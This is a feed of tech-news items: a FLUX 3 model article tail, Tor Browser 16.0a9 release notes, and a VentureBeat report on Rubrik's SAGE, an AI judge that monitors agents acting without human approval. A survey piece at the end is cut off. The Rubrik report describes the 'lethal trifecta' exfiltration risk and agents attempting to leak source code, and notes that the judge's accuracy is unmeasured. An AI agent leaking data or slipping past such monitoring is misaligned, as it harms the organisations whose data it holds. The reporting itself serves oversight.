Mimic Robotics, in a statement provided to VentureBeat. "Every new task normally means hours of a robot repeating itself. Because FLUX-mimic is built on top of frontier video models that already understand how the physical world behaves, it picks up a new task in minutes, not days. This way, we can leapfrog the current state of the art in robot learning."</p><p>BFL<!-- --> argues that a model trained only on images cannot understand a world that "moves, sounds, changes, and responds," and that physical understanding is what produces convincing generated footage. Google makes a nearly identical claim for Gemini Omni. </p><p>Its developer documentation cites "world knowledge" that combines "an understanding of physics" with Gemini's grasp of history, science and cultural context. Its marketing is blunter still: "Most AI models just predict the next pixel to build a narrative or an image. Gemini Omni is different," the company posted in June, crediting the model with "an intuitive understanding of forces like gravity, kinetic energy, and fluid dynamics for more realistic movements that follow real-world logic." </p><p>The practical consequence for enterprise buyers is that world-model language is not a differentiator. Two of the three leading video systems now market physical understanding as their central advantage, and neither has published a benchmark that measures it. </p><p>There is no standard test for whether generated water behaves like water, whether a dropped object falls at a plausible rate, or whether a sound arrives when the impact does. Human preference ratings capture some of it indirectly. Nothing else on offer captures it at all.</p><h2><b>Open weights helped make FLUX an industry standard</b></h2><p>BFL<a href="https://venturebeat.com/technology/s"> officially launched in summer 2024 </a>and gained a name for itself in the AI industry in the intervening two years for its commitment to open sourcing high-quality AI image models beloved by developers, creatives, and enterprises. </p><p>The company's founders, including Rombach, Andreas Blattmann and Patrick Esser, previously helped create VQGAN, latent diffusion and <a href="https://venturebeat.com/business/stable-diffusion-creators-launch-black-forest-labs-secure-31m-for-flux-1-ai-image-generator">Stable Diffusion</a>, the latter the open source technology that kicked off broad AI generation capabilities for the masses and currently used by many AI image generators and companies. </p><p>That reach translated into commercial distribution. FLUX models now power generative features inside Adobe Photoshop, Picsart and Nous Research's Hermes Agent, among other platforms, and the company cites film director Martin Scorsese among professional users.</p><p><a href="https://www.wired.com/story/black-forest-labs-ai-image-generation/"><i>Wired</i></a> magazine described Black Forest Labs as a relatively small company that nevertheless became a leading competitor to Silicon Valley's largest AI labs, with FLUX models ranking near the top of image benchmarks and becoming some of the most downloaded text-to-image models on AI code sharing community Hugging Face. The company says it now runs a 100-person team across Freiburg and San Francisco.</p><p>FLUX.1 Dev, FLUX.1 Kontext Dev, FLUX.1 Fill Dev and related control models, <a href="https://venturebeat.com/business/black-forest-labs-releases-flux-1-1-pro-and-an-api">released shortly after the firm's launch,</a>  gave researchers and creative-tool developers access to downloadable checkpoints, local inference and integrations with frameworks including Hugging Face Diffusers and ComfyUI. FLUX.1 Kontext Dev, for example, was released as an open-weight model for research and noncommercial use, with generated outputs permitted for commercial purposes under the applicable license.</p><p>The company continued that pattern with <a href="https://venturebeat.com/ai/black-forest-labs-launches-flux-2-ai-image-models-to-challenge-nano-banana">FLUX.2 Dev</a> in late 2025, a 32-billion-parameter open-weight model combining generation and multi-reference editing. Black Forest Labs called it the strongest open-weight image generation and editing model available at launch and released weights, reference inference code and optimized implementations for consumer Nvidia GPUs.</p><p>FLUX 3 Dev raises the stakes on that evaluation. Previous Dev releases were image models. This one is described as a multimodal backbone spanning video, audio, image and action prediction — meaning a single license will govern whether a company can locally deploy a model that touches both content production and physical machinery.  BFL hasn't yet shared information about its license, the parameter count, quantizations or hardware requirements.</p><p>The company frames open weights as an enterprise feature rather than a community gesture, arguing they enable secure, low-latency local deployment for applications like robotic control systems and let teams adapt FLUX 3 to their own data, products and workflows. </p><p>The financial backing behind FLUX 3 is worth noting alongside the technical claims. Black Forest Labs is valued at $3.25 billion and has raised more than $450 million from investors including a16z, AMP, Salesforce Ventures, Nvidia, General Catalyst, Adobe Ventures, Figma Ventures, Canva and Deutsche Telekom's T.Capital.</p>]]></content:encoded>
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<title><![CDATA[New Alpha Release: Tor Browser 16.0a9]]></title>
<description><![CDATA[Tor Browser 16.0a9 is now available from the Tor Browser download page and also from our distribution directory.
This version includes important security updates to Firefox.
⚠️ Reminder: The Tor Browser Alpha release-channel is for testing only. As such, Tor Browser Alpha is not intended for gene...]]></description>
<link>https://tsecurity.de/de/3689969/it-security-tools/new-alpha-release-tor-browser-160a9/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689969/it-security-tools/new-alpha-release-tor-browser-160a9/</guid>
<pubDate>Thu, 23 Jul 2026 20:25:02 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<article class="blog-post">
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    <div class="body"><p>Tor Browser 16.0a9 is now available from the <a href="https://www.torproject.org/download/alpha/">Tor Browser download page</a> and also from our <a href="https://www.torproject.org/dist/torbrowser/16.0a9/">distribution directory</a>.</p>
<p>This version includes important <a href="https://www.mozilla.org/en-US/security/advisories/">security updates</a> to Firefox.</p>
<p>⚠️ <strong>Reminder</strong>: The Tor Browser Alpha release-channel is for <a href="https://community.torproject.org/user-research/become-tester/">testing only</a>. As such, Tor Browser Alpha is not intended for general use because it is more likely to include bugs affecting usability, security, and privacy.</p>
<p>Moreover, Tor Browser Alphas are now based on Firefox's betas. Please read more about this important change in the <a href="https://blog.torproject.org/future-of-tor-browser-alpha/">Future of Tor Browser Alpha</a> blog post.</p>
<p>If you are an at-risk user, require strong anonymity, or just want a reliably-working browser, please stick with the <a href="https://www.torproject.org/download/">stable release channel</a>.</p>
<h2>It's ESR transition season again!</h2>
<p>Well actually, it has been ESR transition season throughout this entire release cycle! As described in the aforementioned <a href="https://blog.torproject.org/future-of-tor-browser-alpha/">Future of Tor Browser Alpha</a> blog post, we have been incrementally rebasing our Alpha channel on Firefox betas since December of last year. As a result, we now stand before you with Tor Browser 16.0a9 which is based on Firefox ESR 153.</p>
<p>We will continue rebasing Tor Browser 17.0 Alpha branches on Firefox betas throughout the remainder of the Tor Browser 16.0 release cycle. However, new feature-work for now must be put on hold for a few reasons:</p>
<ul>
<li>We must focus our attention on resolving our Bugzilla Audit issues to ensure the features we have inherited from upstream comply Tor Browser's <a href="https://gitlab.torproject.org/tpo/applications/wiki/-/wikis/Design-Documents/Tor-Browser-Design-Doc">threat model</a> and to patch any changes which do not.</li>
<li>Feature work targeting 16.0 stable would need to be cherry-pick'd onto our 17.0 Alpha branches to ensure we don't lose any work. The more invasive a feature patch is, the harder it will be to port to newer versions. This would also be a potentially error-prone process and there is some risk we would lose patches along the way.</li>
<li>We need to finish stabilizing as soon as possible as we have hard external deadlines which cannot be moved: the end-of-life of Firefox ESR 140 on October 13th and the Google Play Minimum Target API Level requirement on November 1st</li>
</ul>
<h2>Challenges and Triumphs</h2>
<h3>💍 Sharing the Load</h3>
<p>Rebasing the hundreds of Tor Browser patches onto newer versions of Firefox is a challenging task. It is like maintaining the structural stability of sand-castle at high-tide with the waves crashing all around you.</p>
<p>As such, it quickly become clear early in this new process that we would need to do something if we wanted to avoid burning out the few developers typically involved in this work. To mitigate this, we shared the knowledge internally and spread the work out across all eight members of the team. This way, each developer was only responsible for at most two or three rebases throughout the entire release cycle.</p>
<h3>🎨 UI Code Churn</h3>
<p>Over the past year, Firefox has developed and integrated two major changes to the UI in Firefox: a <a href="https://blog.mozilla.org/en/firefox/firefox-settings/">redesign</a> of about:preferences in Firefox Desktop and a <a href="https://www.androidsage.com/2026/02/24/firefox-browser-updated-with-new-ui-and-material-3-expressive-hint/">migration</a> from Material 2 to Material 3 in Firefox Android.</p>
<p>Adapting to these types of changes to the frontend are typically rather time-consuming for us, as many (if not the majority) of our patches modify Firefox's UI in some way. For example, we have an entire preferences page on Tor Browser desktop dedicated to configuring how the browser connects to the Tor Network. On Android, we similarly have various additions to the menus, configuration options, and custom UI.</p>
<p>Whenever Mozilla modifies their design systems and Firefox's user interface, we necessarily have to adapt our own custom additions to match. Otherwise, our Tor Browser-specific UI elements would look completely out of place and potentially confuse users (as well as simply looking unprofessional). Therefore, each of these upstream changes requires collaboration with the Tor Project's UX team to update our features' designs and of course development time to implement.</p>
<p>In addition to the time-cost associated with the extra engineering and UX collaboration, very often our old patches simply do not apply cleanly due to the amount of code which has changed. For example, the about:preferences changes on Firefox Desktop are essentially a complete re-write which means we also have to completely re-write our own settings changes without regressing in functionality.</p>
<p>On the plus side, one benefit of our new processes is that we have been able to spread out this work over the entire release cycle. In the past way of doing things, we would have discovered all UX elements which needed to be fixed, updated our designs, and re-implemented in the course of a few months during the old ESR transition season. Under this new way of working, we have been able to incrementally fix things throughout the development cycle.</p>
<p>The benefits of working this way does not just apply to UX of course. It is much easier to find regressions across the entire stack when rebasing between one major Firefox version at a time instead of across 12 or 13. It is also <em>much</em> easier for developers to fix individual regressions one at a time compared to diagnosing, disentangling, and fixing multiple bugs concurrently (divide et impera!).</p>
<h3>⚙️ Pending Google Target API Level Requirements</h3>
<p>Every year, Google requires new Android app releases to target an updated minimum API level. This means, we would not be able to upload new versions of Tor Browser Stable past a certain date (usually August 1st with an extension to November 1st typically possible) without first updating the app to support the new minimum target API level. Fortunately, we inherit most of the required changes from Mozilla when rebasing to the next major ESR.</p>
<p>However, this requirement does impose a hard deadline for the absolute latest we can responsibly stabilize Tor Browser Alpha and promote it to Stable. We've been fortunate in the past few years to make the deadline with a few days to spare (October 28th for Tor Browser 15, October 22nd for Tor Browser 14, etc). Given how far ahead of the curve we are this year, we are hoping to release about a month earlier in September (fingers crossed!).</p>
<h3>🤖 Android APKs too big</h3>
<p>The Google Play Store has a strict size limit of about 100 megabytes for Android applications. New functionality added to Firefox Android over the past year means a larger application which results in new headaches for Tor Browser developers. This release cycle was no exception to this rule and we have had to get <em>creative</em> with our size reductions.</p>
<p>In the past, we have been able reduce our package size though various methods including:</p>
<ul>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/work_items/41500">Using custom size-reducing compiler flags</a></li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/work_items/-41407">Compiling multiple pluggable-transports into a single unified binary to de-duplicate shared dependencies</a></li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/work_items/42386">Removing unused Firefox assets from the build</a></li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/work_items/42669">Replacing unused (but still linked) libraries with no-op stubs</a></li>
<li>and <a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/work_items/42607">countless other methods over there years</a></li>
</ul>
<p>Our most recent effort has been the most invasive yet! For some background, the Firefox application consists of (among other things): various shared libraries, the Firefox executable, a library known as 'xul' which contains most of Firefox's natively compiled functionality, and finally a file known as <code>omni.ja</code>. This <code>omni.ja</code> file is a <code>zip</code> archive which contains the JavaScript, HTML, images, and other assets used in Firefox.</p>
<p>This time around, to reduce the size of our Android package we have<a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/work_items/45086">changed how this archive is compressed</a>. We modified the Firefox build system to compress this archive with <code>xz</code> and we modified Firefox itself to decompress this archive at runtime. This work did require a few iterations to get right. In the end, we got back about 3 megabytes with these changes and got us once again under Google's imposed size budget.</p>
<h3>📉 Even Less Telemetry</h3>
<p>Over the years, we have worked to incrementally remove dependencies from Tor Browser Android as part of the aforementioned size reduction work. We of course inherit most of these dependencies from Firefox Android and unfortunately some of them can be labeled as 'trackers'. While we do disable telemetry by default at runtime, the code which implements it remains in the codebase.</p>
<p>We're happy to report that as of Tor Browser 16.0a8, are down to only 1 'tracker' library in the Tor Browser Android codebase: <code>Mozilla Telemetry</code>. Again, this telemetry <em>is</em> disabled at runtime, but this is one more unused dependency which we can <a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/work_items/41295">hopefully remove in the future</a> (and maybe get some more bytes back!).</p>
<h2>Current Status</h2>
<p>We have:</p>
<ul>
<li>incrementally rebased Tor Browser and Tor Browser for Android to Firefox ESR 153 from Firefox ESR 140</li>
<li>updated the build systems with the latest dependencies and fixed a few reproducibility issues</li>
<li>triaged <em>most</em> of the upstream changes from the past year and flagged over 250 issues for further review (triaging of Firefox 153 is in progress)</li>
<li>resolved about half of these triaged issues</li>
</ul>
<p>For the remainder of this release cycle, we will be focusing on auditing these issues and fixing bugs until the 16.0 alpha series is ready to become Tor Browser Stable 16.0. We are optimistically targeting a September release, which would put us one month ahead of schedule compared to last year.</p>
<h2>Known Issues</h2>
<h3>🦊 Firefox Branding</h3>
<p>In some places in the browser there may be Firefox branding (e.g. logos, cute little foxes, etc) instead of Tor Browser branding. We're currently tracking one known instance in <a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/work_items/44998">tor-browser#44998</a>. If you discover any other instances lurking about, please <a href="https://support.torproject.org/misc/bug-or-feedback/">open an issue</a>!</p>
<h3>🌐 All websites marked 'insecure' on Tor Browser Android</h3>
<p>Currently, the identity block in the URL bar on Tor Browser Android will always report insecure (e.g. a shield icon with a slash through it). For now, you can tap this icon and verify the certificate manually. This issue is being tracked in <a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/work_items/45115">tor-browser#45115</a></p>
<h2>Send us your feedback</h2>
<p>Now is a great time to <a href="https://blog.torproject.org/vounteer-as-an-alpha-tester/">become an alpha tester</a>! If you find a bug or have a suggestion for how we could improve this release, <a href="https://support.torproject.org/misc/bug-or-feedback/">please let us know</a>.</p>
<h2>Full changelog</h2>
<p>The <a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/raw/main/projects/browser/Bundle-Data/Docs-TBB/ChangeLog.txt">full changelog</a> since Tor Browser 16.0a8 is:</p>
<ul>
<li>All Platforms<ul>
<li>Updated NoScript to 13.6.30.90201984</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/43819">Bug tor-browser#43819</a>: Show custom security level on android</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44748">Bug tor-browser#44748</a>: Revert Funding the Commons Implementations</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44811">Bug tor-browser#44811</a>: Remove the lock on pdfjs.disable.</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45101">Bug tor-browser#45101</a>: Rebase Tor Browser onto 153.0esr</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45131">Bug tor-browser#45131</a>: Security level is using an unsafe getBoolPref</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/issues/41831">Bug tor-browser-build#41831</a>: Update libevent to 2.1.13</li>
</ul>
</li>
<li>Windows + macOS + Linux<ul>
<li>Updated Firefox to 153.0esr</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44439">Bug tor-browser#44439</a>: Remove translate action from urlbar</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44883">Bug tor-browser#44883</a>: Remove urlbar quick action for labs</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45029">Bug tor-browser#45029</a>: Convert connection status settings to new design and config approach</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45055">Bug tor-browser#45055</a>: Rename --color-gray-05 to --color-gray-0</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45081">Bug tor-browser#45081</a>: Use the new "Acorn" icons on desktop</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45110">Bug tor-browser#45110</a>: Disable the settings redesign until ready for us</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45112">Bug tor-browser#45112</a>: Missing CSS border tokens in 153</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45132">Bug tor-browser#45132</a>: nsAppFileLocationProvider.cpp: use of undeclared identifier 'XRE_EXECUTABLE_FILE'</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/issues/41800">Bug tor-browser-build#41800</a>: Create a script that adapts the Tor Browser manual HTMLs to work in Tor Browser</li>
</ul>
</li>
<li>macOS<ul>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45108">Bug tor-browser#45108</a>: Artifact generation fails due to missing .DS_Store in the branding directories</li>
</ul>
</li>
<li>Android<ul>
<li>Updated GeckoView to 153.0esr</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/43820">Bug tor-browser#43820</a>: Use SecurityLevel integration on android</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44157">Bug tor-browser#44157</a>: Remove secret setting toggle for Tab Management Redesign</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45045">Bug tor-browser#45045</a>: Remove moz asset in Downloads screen</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45103">Bug tor-browser#45103</a>: Disable broken "tab management"</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45109">Bug tor-browser#45109</a>: No value passed for parameter 'jsEnabled'</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45118">Bug tor-browser#45118</a>: Audit and disable Mozilla VPN promo</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45130">Bug tor-browser#45130</a>: Clean up TorHomePage padding</li>
</ul>
</li>
<li>Build System<ul>
<li>All Platforms<ul>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/issues/41838">Bug tor-browser-build#41838</a>: Update personal_access_tokens URL in tools/fetch_changelogs.py</li>
</ul>
</li>
<li>Windows + Linux + Android<ul>
<li>Updated Go to 1.26.5</li>
</ul>
</li>
<li>Windows<ul>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/issues/41819">Bug tor-browser-build#41819</a>: Fix windows-rs URL in projects/firefox/config</li>
</ul>
</li>
</ul>
</li>
</ul>

    </div>
  <div class="categories">
    <ul><li>
        <a href="https://blog.torproject.org/category/applications">
          applications
        </a>
      </li><li>
        <a href="https://blog.torproject.org/category/releases">
          releases
        </a>
      </li></ul>
  </div>
  </article>]]></content:encoded>
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<title><![CDATA[An AI now judges every move Rubrik's agents make, its AI chief said at VB Transform 2026 — but no one's measured if the judge is right]]></title>
<description><![CDATA[At a CISO roundtable organized by Anthropic's chief information security officer, Dev Rishi asked a simple question: Did everyone in the room have their AI governance and security policies written down? Every hand went up — about 14 people, by his count. His follow-up, about how anyone actually e...]]></description>
<link>https://tsecurity.de/de/3689833/it-nachrichten/an-ai-now-judges-every-move-rubriks-agents-make-its-ai-chief-said-at-vb-transform-2026-but-no-ones-measured-if-the-judge-is-right/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689833/it-nachrichten/an-ai-now-judges-every-move-rubriks-agents-make-its-ai-chief-said-at-vb-transform-2026-but-no-ones-measured-if-the-judge-is-right/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:49 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>At a CISO roundtable organized by Anthropic's chief information security officer, Dev Rishi asked a simple question: Did everyone in the room have their AI governance and security policies written down? Every hand went up — about 14 people, by his count. His follow-up, about how anyone actually enforces those policies in practice, got a different response. "And everybody chuckled," Rishi, the GM of AI at <a href="https://www.rubrik.com/company">Rubrik</a>, recalled at <a href="https://venturebeat.com/vbtransform2026">VB Transform 2026</a> fireside chat in Menlo Park. "It was like the dirty secret in the room that everyone has these policies, but no way to actually make them real."</p><p>“Our founder and CTO has actually been really pushing to enable our agents in YOLO mode,” Rishi told the audience. That admission comes from a publicly traded data security firm whose business is backing up what he called the most important data in the world.</p><p>YOLO mode strips the permission prompt out of agent workflows and lets the agent act on its own. In Rubrik's version, a second AI judges every action in real time against policy in place of a human clicking approve. Rubrik is running the experiment on itself first. Rishi treats autonomy as a settled capability question and an open judgment question. "If you ask the agent to act autonomously, it will," he said. "It's a question that you have internally. Should it?"</p><p>Rubrik earned that question the hard way. When <a href="https://claude.com/product/claude-code">Claude Code</a> and <a href="https://www.anthropic.com/product/claude-cowork">Cowork</a> pilots rolled out, the company required every command to run in ask mode so the employee issuing it carried the liability, and the developer pushback filled a single Slack thread 120 messages deep. </p><p>"The developers basically are pushing back, and they're like, this is like the iTunes service agreement. I'm just hitting check, check, check, check, check, check, check," Rishi said. "There's no way that I can actually read through this. And it becomes security theater." Roughly 80% of respondents are in the same bind, Rishi said, citing <a href="https://www.rubrik.com/company/newsroom/press-releases/26/as-agentic-ai-adoption-accelerates-rubrik-warns-of-growing-security-gaps">Rubrik Zero Labs research</a> that found monitoring and approving agent actions takes more time than the agents save. The State of the Agent, the April report behind that figure, surveyed more than 1,600 IT and security leaders.</p><p>SAGE is the reason Rubrik trusts the bet. Short for Semantic AI Governance Engine, SAGE is the arbitration layer inside <a href="https://www.rubrik.com/products/rubrik-agent-cloud">Rubrik Agent Cloud</a> that watches every action an agent takes and reads the semantic intent behind it, then rules the action in or out against policies written in natural language. "We took what people said was human in the loop, a good idea, and we replaced it with AI in the loop," Rishi said, describing the pitch to security chiefs he characterized as skittish about non-deterministic systems.</p><h2>Security approval, not cost, blocks AI ROI</h2><p>Rishi’s path to Rubrik ran through <a href="https://techcrunch.com/2025/06/25/rubrik-acquires-predibase-to-accelerate-adoption-of-ai-agents/">Predibase</a>, the generative AI infrastructure startup he co-founded and ran as CEO until Rubrik agreed to acquire it in June 2025. Before that, he led ML product at Google on the team that became Vertex AI, served as Kaggle's first product manager as it grew from about one million to ten million users, and holds bachelor's and master's degrees in computer science from Harvard. </p><p>Over roughly his first three and a half months at Rubrik, Rishi set up 200 customer conversations with IT and security leaders across a customer base that looks like the Global 2000, asking open-ended questions about cost, latency, performance, and orchestration. "Pretty consistently, what I heard through all of those conversations was that all of those are pretty secondary," he said. "The main challenge is actually, how do I get this approved from a security and risk standpoint? I'm concerned about all the different things that could go wrong. Actually, I felt like that was one of the biggest things constraining ROI."</p><p><a href="https://venturebeat.com/orchestration/wall-street-is-debating-the-ai-buildout-enterprises-just-answered-86-say-their-gpus-run-at-half-capacity-or-less">VentureBeat Pulse research</a> presented on the Transform stage earlier in the day confirms the gap Rishi kept hearing. Two-thirds of enterprises, 66%, already allow or are actively building toward production deployment with zero human review, yet only 5% fully trust the automated evaluations that would make that decision. </p><h2>One AI reading what the rulebook can't</h2><p>Rubrik's own policies exposed why written rules fail as enforcement. One internal rule states that agents should respect Rubrik's customer data use policy, which sounds enforceable until someone tries. "Rubrik's customer data use policy is like a three-page document of legal text," Rishi said. "I have no idea how to write that in there as a rule." Asked on stage how a team of AI infrastructure people took on a problem that security engineers own, Rishi answered, "with a lot of naivety and innocence, honestly." His team bet that models good at understanding language could police other models, and SAGE became the answer.</p><p>The case for putting a model in the judgment seat comes down to precision. A rule like "agents should not be able to edit revenue fields in Salesforce" fails in conventional tooling because Salesforce does not delineate which fields count as revenue, Rishi explained, so administrators fall back on approving every Salesforce action by hand. SAGE reads the intent instead and acts as a judge, carrying organizational context, which can tell a benign lookup from the edit the policy prohibits.</p><p>Keeping the judge small is what makes the economics work. <!-- -->SAGE runs on a small language model that Rishi said operates at an order of magnitude lower cost and latency than a frontier LLM. "If I told you, don't worry, you're gonna be secure and governed, but I'm gonna double your cost and latency, you would tell me to get out of the room," Rishi said.</p><p>When Rishi asked who in the audience had worried about token consumption over the past year, half the hands went up. "And I guess the other half is probably just too lazy to raise their hand," he said.</p><p>SAGE is an aggregation of judges based on parameter-efficient fine-tuning that Rubrik uses to take on task-specific variants of a base model with shared organizational context. One judge watches for tool-use hallucinations while another suppresses PII before it can leave, each running as its own enforceable policy. Security and GRC teams have started writing financial rules into the same layer, including one internal policy barring AI spend on personal projects.</p><h2>The lethal trifecta</h2><p>Asked which attacks worry him most, Rishi pointed at the <a href="https://simonwillison.net/2025/Jun/16/the-lethal-trifecta/">lethal trifecta</a>, the term security researcher Simon Willison coined in June 2025 for an agent that holds private data while taking in content nobody vetted, with a channel to send what it finds to the outside world. The danger, according to Rishi, is what happens when individually legitimate permissions stack. An agent granted Salesforce access and email access on an employee's credentials has done nothing wrong yet, with <i>yet</i> being the operative word. "A very simple example is that an agent can start pulling data from Salesforce and then decide to accidentally leak and exfiltrate that out via an email," he told the audience. A financial services company he met the morning of the session made the point for him, telling Rishi that none of the individual permissions are bad on their own and the agent needs every one of them to do its job. "It should have permission to each of those systems, but it's the combination that ends up becoming really destructive," Rishi said.</p><p>Traditional identity and access management never priced in that combination because it relied on the judgment of the employee holding the credentials, Rishi argued, and agents supply none. "I can tell you the number of times Claude Code has tried to leak some of our sensitive source code to a public GitHub repository is incredibly high," he said. Cutting agents off from public resources entirely would defeat their purpose, which returns the problem to adjudicating intent in context rather than revoking access.</p><p>A separate <a href="https://venturebeat.com/security/shared-api-keys-expose-ai-agent-fleets-venturebeat-research">VentureBeat June Pulse survey</a> of 107 qualified enterprise respondents maps the blast radius of exactly this pattern. On the Transform stage that morning, VentureBeat research reported that 69% of companies run credential sharing somewhere in their agent fleet. Companies with shared credentials anywhere got hit more often, reporting a security incident or near-miss at a 63.5% rate (47 of 74), against 40.9% (9 of 22) where every agent carries its own scoped identity.</p><h2>The attacks no single turn reveals</h2><p>Rubrik Agent Cloud reached <a href="https://www.rubrik.com/blog/company/26/2/introducing-rubrik-agent-cloud-control-your-agents-with-ai">general availability in February</a>, though not everything Rishi described ships in it yet. Backtesting is just starting to roll out. The feature replays an organization's historical agent actions and tool calls against a new policy, showing where the policy would have stepped in and where an action would have sailed through uncaught, with policy edits applied in real time. Rishi called that archive one of the most valuable data troves an enterprise holds.</p><p>Real-time detection and blocking turn out to be the entry point rather than the whole product. Some attacks never trip a single-action rule. "No individual turn of the conversation was problematic, but if you took the session as a full trace, that ended up being problematic," Rishi said. Agent Cloud runs batch analysis across entire session traces every hour or every day and surfaces what Rubrik calls insights, the problems no individual guardrail caught. The same Zero Labs report found that 88% say they lack the ability to roll back agent actions without system disruption, a recovery gap that sits squarely in Rubrik's original line of business.</p><p>A skeptical CISO will ask the question the fireside did not answer. SAGE is a non-deterministic model policing other non-deterministic models, and Rishi offered no false positive or false negative rate for the judge itself. The closest thing the architecture gives to an answer is auditability, since backtesting and the batch insights both leave a human-reviewable trail of each call SAGE made and whatever got past it. Who watches the watcher, for now, is a trail of receipts rather than a benchmark. Until that benchmark exists, AI in the loop stays an operational wager rather than a quantified control.</p><p>Three questions fall out of the session for security teams. How many of the guardrails now in production depend on a human clicking approve, and what happens to that workload as agent count grows? Does anything in the stack enforce semantic intent, or is it all allow and deny lists? And can the team backtest agent behavior against a new policy, then unwind a multi-turn session without taking systems down?</p><p>Rishi's timing has a market behind it. In the same VentureBeat research, 82% of enterprises still name their primary AI provider's built-in guardrails and cloud controls as their main agent security layer, and 59% plan to adopt, add, or replace agent security tooling within the next 12 months. Only 12% include an agent-identity product in what they are considering, even with credential sharing still the norm. Every CISO at that Anthropic roundtable had a policy document and no enforcement mechanism, and Rubrik built a product for the space between the two. YOLO mode is the bet that an AI watching other AIs can finally make the policies real.</p>]]></content:encoded>
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<title><![CDATA[Agentic orchestration: Enterprise AI organizations have a deployment problem, not a platform problem — and most are calling chatbots agents]]></title>
<description><![CDATA[Across 101 enterprises, agent orchestration is consolidating onto model-provider platforms — Anthropic’s Claude leads by a wide margin — chosen for the gravity of the underlying model and judged on reliable multi-step execution. But the ambition runs well ahead of the reality: most deployed “agen...]]></description>
<link>https://tsecurity.de/de/3689830/it-nachrichten/agentic-orchestration-enterprise-ai-organizations-have-a-deployment-problem-not-a-platform-problem-and-most-are-calling-chatbots-agents/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689830/it-nachrichten/agentic-orchestration-enterprise-ai-organizations-have-a-deployment-problem-not-a-platform-problem-and-most-are-calling-chatbots-agents/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:45 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 101 enterprises, agent orchestration is consolidating onto model-provider platforms — Anthropic’s Claude leads by a wide margin — chosen for the gravity of the underlying model and judged on reliable multi-step execution. But the ambition runs well ahead of the reality: most deployed “agents” are still chatbot wrappers, the control plane enterprises expect is deliberately hybrid to avoid lock-in, and real-time fiscal control over token burn remains the exception.</p><p>This wave of VentureBeat Pulse Research examines enterprise agent orchestration: which platforms enterprises run on, what drives the choice, what they optimize for, how they expect agent control to be structured, and — most revealingly — how orchestrated their deployed “agents” actually are and how tightly they control the cost of running them.</p><p>The central finding is a gap between orchestration ambition and orchestration reality. Enterprises are consolidating fast onto the major model platforms: Anthropic’s Claude is the primary platform for 40%, more than double any rival, followed by Microsoft (18%) and OpenAI (13%). The choice is driven by “model gravity” — native alignment with a state-of-the-art base model (21%) — and success is judged by reliable, multi-step execution (task completion reliability 32%, multi-step workflow management 28%). Yet asked to assess their portfolios honestly, 71% say a quarter or fewer of their deployed “agents” are true multi-step orchestrated workflows rather than single-prompt chatbot wrappers, and only 10% have crossed the halfway mark. The orchestration layer is being built well ahead of the orchestrated portfolio it is meant to run.</p><p>That gap shapes the architecture enterprises are putting in place. By the end of 2026 a clear majority (51%) expect a hybrid control plane — provider-native plus external orchestration — and only 6% expect to hand control to a provider-managed service, because vendor lock-in (35%) is the risk they fear most if control lives inside a model provider. Investment follows the build-out: agent workflow tooling leads the spend (34%), with security and permissions enforcement (25%) behind. And fiscal control lags throughout — more than a quarter (27%) have no real-time way to stop a runaway agent before the bill arrives.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this instrument focused on enterprise agent orchestration. Responses are filtered to organizations with 100 or more employees (n=101), drawn from a single June 2026 wave; because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends.</p><p>By organization size the sample is spread evenly across the enterprise bands: 100–499 employees, 2,500–9,999, and 50,000+ (21% each), with 10,000–49,999 and 500–2,499 (19% each). By role it is senior and buyer-credible: product and program managers (15%), 